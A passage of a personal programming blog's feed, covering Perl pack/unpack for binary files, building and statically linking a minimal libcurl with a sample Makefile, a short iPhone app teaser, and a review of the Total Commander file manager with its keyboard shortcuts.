<span class="err">c = 75 dec (0x4B hex)</span>
</pre></div>
<p>then our binary file, <code>binary_data.bin</code> would contain this:</p>
<div class="highlight"><pre><span></span><span class="err">c4 00 00 00 cc dd ee ff 4b</span>
</pre></div>
<p>To be able to read this back and print the values in decimal or hex, you simply
start by reading the size of each element in the struct one by one and for each
item you unpack the data according to the size of the element in the struct.
For <code>uint32_t</code> you use <code>L</code> and for <code>uint8_t</code> <code>C</code>. A complete listing of the
different templates (as they are called in Perl) could be found in the Perl
documentation. Be careful about little- vs big-endian when you select template.</p>
<p>Below is a Perl script that creates the binary file, then read the data back
from the file and print the values both in decimal and hex.</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/perl</span>
<span class="k">use</span> <span class="nn">strict</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">warnings</span><span class="p">;</span>
<span class="nb">binmode</span> <span class="n">FILE</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$buf</span><span class="p">;</span>
<span class="c1"># Write decimal values as binary data.</span>
<span class="nb">open</span> <span class="n">FILE</span><span class="p">,</span> <span class="s">">binary_data.bin"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="vg">$!</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">pack</span> <span class="s">'L'</span><span class="p">,</span> <span class="mi">196</span><span class="p">;</span>
<span class="k">print</span> <span class="n">FILE</span> <span class="nv">$data</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nb">pack</span> <span class="s">'L'</span><span class="p">,</span> <span class="mi">4293844428</span><span class="p">;</span>
<span class="k">print</span> <span class="n">FILE</span> <span class="nv">$data</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nb">pack</span> <span class="s">'C'</span><span class="p">,</span> <span class="mi">75</span><span class="p">;</span>
<span class="k">print</span> <span class="n">FILE</span> <span class="nv">$data</span><span class="p">;</span>
<span class="nb">close</span> <span class="n">FILE</span><span class="p">;</span>
<span class="c1"># Read back binary data to decimal value.</span>
<span class="nb">open</span> <span class="n">FILE</span><span class="p">,</span> <span class="s">"binary_data.bin"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="vg">$!</span><span class="p">;</span>
<span class="nb">read</span> <span class="n">FILE</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nb">unpack</span> <span class="s">'L'</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$data</span> <span class="o">.</span> <span class="s">" - "</span> <span class="o">.</span> <span class="nb">sprintf</span><span class="p">(</span><span class="s">"%x"</span><span class="p">,</span> <span class="nv">$data</span><span class="p">)</span> <span class="o">.</span> <span class="s">"\n"</span><span class="p">;</span>
<span class="nb">read</span> <span class="n">FILE</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nb">unpack</span> <span class="s">'L'</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$data</span> <span class="o">.</span> <span class="s">" - "</span> <span class="o">.</span> <span class="nb">sprintf</span><span class="p">(</span><span class="s">"%x"</span><span class="p">,</span> <span class="nv">$data</span><span class="p">)</span> <span class="o">.</span> <span class="s">"\n"</span><span class="p">;</span>
<span class="nb">read</span> <span class="n">FILE</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">;</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nb">unpack</span> <span class="s">'C'</span><span class="p">,</span> <span class="nv">$buf</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$data</span> <span class="o">.</span> <span class="s">" - "</span> <span class="o">.</span> <span class="nb">sprintf</span><span class="p">(</span><span class="s">"%x"</span><span class="p">,</span> <span class="nv">$data</span><span class="p">)</span> <span class="o">.</span> <span class="s">"\n"</span><span class="p">;</span>
<span class="nb">close</span> <span class="n">FILE</span><span class="p">;</span>
</pre></div>Using libcurl with minimal dependencies2010-08-05T00:13:15+02:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2010-08-05:/using-libcurl-with-minimal-dependencies.html<p><img alt="LibCURL logo" src="https://jyx.github.io/images/libcurldep/logo_curl-200x150.jpg" align="right">
For an ongoing project I needed to retrieve webpages from my C-program and
first I used sockets directly, but then I thought why not try use libcurl? If I
could use libcurl and link it statically then I would get the good features
from libcurl, but still could make my application stand alone.</p>
<p>With my current setup running Debian (Lenny), I tried to just apt-get the libraries
(<code>libcurl4-openssl-dev</code>) and build using those libraries That went fine until I
tried to …</p><p><img alt="LibCURL logo" src="https://jyx.github.io/images/libcurldep/logo_curl-200x150.jpg" align="right">
For an ongoing project I needed to retrieve webpages from my C-program and
first I used sockets directly, but then I thought why not try use libcurl? If I
could use libcurl and link it statically then I would get the good features
from libcurl, but still could make my application stand alone.</p>
<p>With my current setup running Debian (Lenny), I tried to just apt-get the libraries
(<code>libcurl4-openssl-dev</code>) and build using those libraries That went fine until I
tried to link them statically with my application. After reading different mail
archives, forum and tried on my own I got my application to link (static) with
libcurl. Basically what I needed to do was.</p>
<ul>
<li>Download libcurl source</li>
<li>Compile libcurl myself (disable one define, more about that below).</li>
<li>Point to my own built libcurl.a library when building my own application.</li>
</ul>
<p>So to save some headache for myself next time I want to do it or for someone
else reading this I've listed the steps I had to do to get this to work.</p>
<h1>Download libcurl source</h1>
<p>As of writing this, the latest version of libcurl was 7.21.0 so I downloaded
and unpacked the source.</p>
<div class="highlight"><pre><span></span>wget http://curl.haxx.se/download/curl-7.21.0.tar.bz2
tar xjvf curl-7.21.0.tar.bz2
<span class="o">{</span>% endcodeblock %<span class="o">}</span>
</pre></div>
<h1>Compile libcurl</h1>
<p>Next it was time to run <code>./configure</code> and <code>make</code>. Here I basically disabled
everything for libcurl except <code>HTTP</code> and <code>FILE</code>.</p>
<div class="highlight"><pre><span></span>./configure --prefix<span class="o">=</span><span class="nv">$HOME</span>/devel/libcurl --disable-dict --disable-ftp --disable-imap --disable-ldap --disable-ldaps --disable-pop3 --disable-proxy --disable-rtsp --disable-shared --disable-smtp --disable-telnet --disable-tftp --disable-zlib --without-ca-bundle --without-gnutls --without-libidn --without-librtmp --without-libssh2 --without-nss --without-ssl --without-zlib
</pre></div>
<p>Edit the file <code>lib/curl_config.h</code> which is generated during the configure step.
In this file we uncomment the line saying</p>
<div class="highlight"><pre><span></span>/* Define to <span class="m">1</span> <span class="k">if</span> you have the clock_gettime <span class="k">function</span> and monotonic timer. */
//#define HAVE_CLOCK_GETTIME_MONOTONIC <span class="m">1</span>
</pre></div>
<p>If I didn't do this, then I would have a dependency to <code>librt</code> which I didn't want to.</p>
<div class="highlight"><pre><span></span>make
make install
</pre></div>
<p>Now I was done with libcurl, next I should use this library in my application.</p>
<h1>Build the application using libcurl</h1>
<p>To make things simple when describing this I instead use the file
<a href="http://curl.haxx.se/libcurl/c/simple.html">simple.c</a>
which is found on <a href="http://curl.haxx.se/libcurl">libcurl's</a> site.</p>
<p>In <a href="/downloads/libcurldep/simple_libcurl.tar.gz">simple_libcurl.tar.gz</a> I've
put together the source and a Makefile which builds using the library just
created. The magic is the <code>LDFLAGS</code> line used in the linking step on line 12
and 24 below. I.e. on line 12 I had have to point the folder where the
library is located that I had built myself (<code>-L/path/to/my/libcurl.a</code>) and I
still needed to tell the linker that I wanted to use libcurl, hence the
<code>-lcurl</code> parameter.</p>
<div class="highlight"><pre><span></span><span class="nv">SRCDIR</span> <span class="o">:=</span> src
<span class="nv">OBJDIR</span> <span class="o">:=</span> obj
<span class="nv">SRC</span> <span class="o">:=</span> <span class="k">$(</span>patsubst <span class="k">$(</span>SRCDIR<span class="k">)</span>/%.c, %.c, <span class="k">$(</span>wildcard <span class="k">$(</span>SRCDIR<span class="k">)</span>/*.c<span class="k">))</span>
<span class="nv">OBJS</span> <span class="o">:=</span> <span class="k">$(</span>addprefix <span class="k">$(</span>OBJDIR<span class="k">)</span>/, <span class="k">$(</span>patsubst %.c, %.o, <span class="k">$(</span>SRC<span class="k">)))</span>
<span class="nv">INCDIR</span> <span class="o">:=</span> inc
<span class="nv">CC</span> <span class="o">:=</span> gcc
<span class="nv">CFLAGS</span> <span class="o">+=</span> <span class="k">$(</span>addprefix -I, <span class="k">$(</span>INCDIR<span class="k">))</span>
<span class="nv">CFLAGS</span> <span class="o">+=</span> -I/home/jyx/devel/libcurl/include
<span class="nv">LDFLAGS</span> <span class="o">:=</span> -L/home/jyx/devel/libcurl/lib -lcurl
<span class="nf">.PHONY </span><span class="o">:</span> <span class="n">all</span> <span class="n">clean</span>
<span class="nf">all</span><span class="o">:</span> <span class="n">main</span>
<span class="nf">$(OBJDIR)/%.o</span><span class="o">:</span> <span class="k">$(</span><span class="nv">SRCDIR</span><span class="k">)</span>/%.<span class="n">c</span>
@echo <span class="s2">" (CC) </span>$<span class="s2"><"</span>
@<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -c $< -o <span class="nv">$@</span>
<span class="nf">main</span><span class="o">:</span> <span class="k">$(</span><span class="nv">OBJS</span><span class="k">)</span>
@echo <span class="s2">"Create binary: </span><span class="nv">$@</span><span class="s2">"</span>
@<span class="k">$(</span>CC<span class="k">)</span> -o main $+ <span class="k">$(</span>LDFLAGS<span class="k">)</span>
<span class="nf">clean</span><span class="o">:</span>
rm -f <span class="k">$(</span>OBJDIR<span class="k">)</span>/* main
</pre></div>
<p>When this is achieved, then you have a quite clean binary when it comes to
dependencies. In the example code in <code>simple_libcurl</code> I now have these
dependencies on a machine running Debian (Lenny).</p>
<div class="highlight"><pre><span></span>$ ldd main
linux-vdso.so.1 <span class="o">=</span>> <span class="o">(</span>0x00007f157db66000<span class="o">)</span>
libc.so.6 <span class="o">=</span>> /lib/libc.so.6 <span class="o">(</span>0x00007f157d5f9000<span class="o">)</span>
/lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007f157d94c000<span class="o">)</span>
</pre></div>
<p>Have fun with libcurl!</p>My coming iPhone application2010-04-25T00:11:17+02:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2010-04-25:/my-coming-iphone-application.html<p>I just want to show an early screenshot of my coming iPhone application that
I'm currently is writing. I do not want to say to much about what purpose it
should fulfill, but it's kind of a maths / algorithm / practice application.
Below is screenshot of how it (most likely) will look.</p>
<p><img alt="iPhone" src="https://jyx.github.io/images/iphonebd/bd_preview.jpg" align="left"></p>What about Total Commander?2010-03-12T06:26:00+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2010-03-12:/what-about-total-commander.html<p><img alt="Total Commander logo" src="https://jyx.github.io/images/logo_tc.jpg" align="right">
As my first post on my new site I'll start by talking about Total Commander. I
have been using this wonderful tools since I think I got my first PC. Back then
it was called Windows Commander. So what is it that makes this tool so
wonderful?</p>
<p>Well, if you just install it and start it you maybe won't be that
impressed. It has a quite old and perhaps boring look. But, if I can choose
between good looking tool …</p><p><img alt="Total Commander logo" src="https://jyx.github.io/images/logo_tc.jpg" align="right">
As my first post on my new site I'll start by talking about Total Commander. I
have been using this wonderful tools since I think I got my first PC. Back then
it was called Windows Commander. So what is it that makes this tool so
wonderful?</p>
<p>Well, if you just install it and start it you maybe won't be that
impressed. It has a quite old and perhaps boring look. But, if I can choose
between good looking tool without any features (Windows Explorer) and a not so
good looking tool with almost any features you can think of that is needed or
could be nice to have when it comes to file handling on a computer. Then I
choose the latter one. Which, in this case is Total Commander.</p>
<p>So, what do you normally do with your files on your computer? For a normal user
you open files and maybe move files. That might be it for a big part of the
population. But if you are a slightly more advanced user? Then you might need to
duplicate files, pack/unpack files. You maybe want to filter the files so you
only will see files matching a certain pattern. You maybe want to synchronize
your files on a backup drive? Want to syntax hi-light files with certain name?
Copy file names with or without full path to clipboard? All of this and much
more you can do with Total Commander and as a good bonus there are quite easy
keyboard shortcuts for doing that. So you don't have to move one of you hands
between the keyboard and the mouse all the time.</p>
<h1>The look</h1>
<p>Total Commander is composed as one main window with a split pane. First time I
saw this was back in time when Amiga 500 was a popular computer. I'm thinking of
the file manager <a href="http://en.wikipedia.org/wiki/Directory_Opus">Directory Opus</a>.
Is this a good or a bad thing? Well, since it still exists and seems to be quite
popular among people that have some higher demand on file exploring tool than
the average user have, then I think we can say, yes it's a good thing. To be
honest it's actually very good. You have two panes open all the time within the
same program, so you can very easy move, copy files etc. Since quite some time
ago Total Commander also supports tabs. Hence you can have multiple tabs for
both panes. You jump between the panes by simply pressing TAB and you jump
between tabs in the panes by pressing <code>CTRL + TAB</code>.</p>
<h1>Renaming on steroids</h1>
<p>There's something called Multi-Rename Tool in Total Commander which is quite
handy. It can rename a lot of files for you in very few clicks. Imagine you have
a folder with following files:</p>
<div class="highlight"><pre><span></span><span class="err"> a_foo.zip</span>
<span class="err"> b_foo.zip</span>
<span class="err"> c_foo.zip</span>
</pre></div>
<p>Now you want to rename those to:</p>
<div class="highlight"><pre><span></span><span class="err"> 01_a.zip</span>
<span class="err"> 02_b.zip</span>
<span class="err"> 03_c.zip</span>
</pre></div>
<p>In Total Commander you simply mark the files and press <code>CTRL + M</code> and the
Multi-Rename Tool will launch. In this particular example you prepend the
<code>Rename mask: file name</code> with <code>01_</code> and in the <code>Search & Replace</code> you write
<code>\_foo</code> in the <code>Search For</code>, like shown in the screenshot below.</p>
<p><img alt="Total Commander multi rename tool" src="https://jyx.github.io/images/tc_multi_rename_tool.png" align="center"></p>
<p>You can just imagine how helpful this is when you are renaming a couple of
hundred jpg files snapped with your digital camera where you often have quite
cryptic naming as default.</p>
<h1>Shortcuts and some more features</h1>
<p>I could explain a bunch of features like the Multi-Rename Tool in detail. But
some features are very simple to use, so I list a couple of my daily things I do
using Total Commander.</p>
<p>Let's say you have <code>c:\a</code> in the left pane and <code>c:\b</code> in the right pane.</p>
<p>Mark files? Use <code>space</code> or <code>SHIFT + PgUp/PgDown</code> or <code>CTRL + plus</code> or simply
press plus and make a filter out the files.</p>
<p>Want to move files from folder <code>a</code> to <code>b</code>? Mark the files you want to move and
press <code>F6</code>.</p>
<p>Rename a file? <code>SHIFT + F6</code>. This is a bit odd, since most other program have
<code>F2</code> as rename button.</p>
<p>Pack files? Mark the files, <code>ALT + F5</code>, then <code>ENTER</code>. Files are now packed and
put into the folder on the other pane.</p>
<p>Unpack files? Mark the files, <code>ALT + F9</code> then <code>ENTER</code>. Files are unpacked to
the other pane.</p>
<p>Browse packed files? Simply press <code>ENTER</code> on a zip file for example and you will
see the content immediately without unpacking it. Very useful! Note that you can
copy single files when in this state. This is also very useful.</p>
<p>Find files? <code>Alt + F7</code>, then just search. Note the <code>Search subdirectories</code> which
is very useful of you have a big project with a lot of subfolder but you know
that the file you are searching is not that deep down into the folder structure.
Then you use this to select how many subdirectories you want to traverse. Very
useful, especially in combination with the <code>Find text</code> in the same window.</p>
<p>Go to folders that you have been in? Press <code>ALT + down</code> and you get a neat list
for the last ~30 folders you have been in. Note that this is unique for the
pane. I.e. one for the left pane and one for the right pane.</p>
<p>Run a command? Just type it and press <code>ENTER</code>. For example I want command
prompt. I simply type <code>cmd</code> then press enter. Voila I get a command prompt
which have the path same to my current folder in my pane.</p>
<p>Mark a folder as favorite? Press <code>CTRL + d</code> then <code>a</code>. Type any name you like to
refer to this folder.</p>
<p>Go to a favorite folder? Press <code>CTRL + d</code> and select your favorite folder.</p>
<p>Do a mouse right click? Press <code>SHIFT + F10</code>.</p>
<p>View content of a file? Press <code>F3</code>.</p>
<p>Edit a file? Press <code>F4</code>.</p>
<h1>Should you buy Total Commander?</h1>
<p>Well, at least download it asap and start using it. If you just want to try it,
you will only get one(!) nag screen when starting the program. Then you can
leave it running for hours, days, weeks, years with full functionality and no
more nag screens. But, when you notice that you cannot really live without this
tool, then I think you should register the program. Christian Ghisler (the
author) deserves money for this great tool and he has given free updates since I
registered it, which was quite long time ago. As the headline says, I think
Microsoft should buy this tool/company and replace Windows Explorer with Total
Commander. Thanks!</p>
<p>Link to the official site: http://www.ghisler.com</p>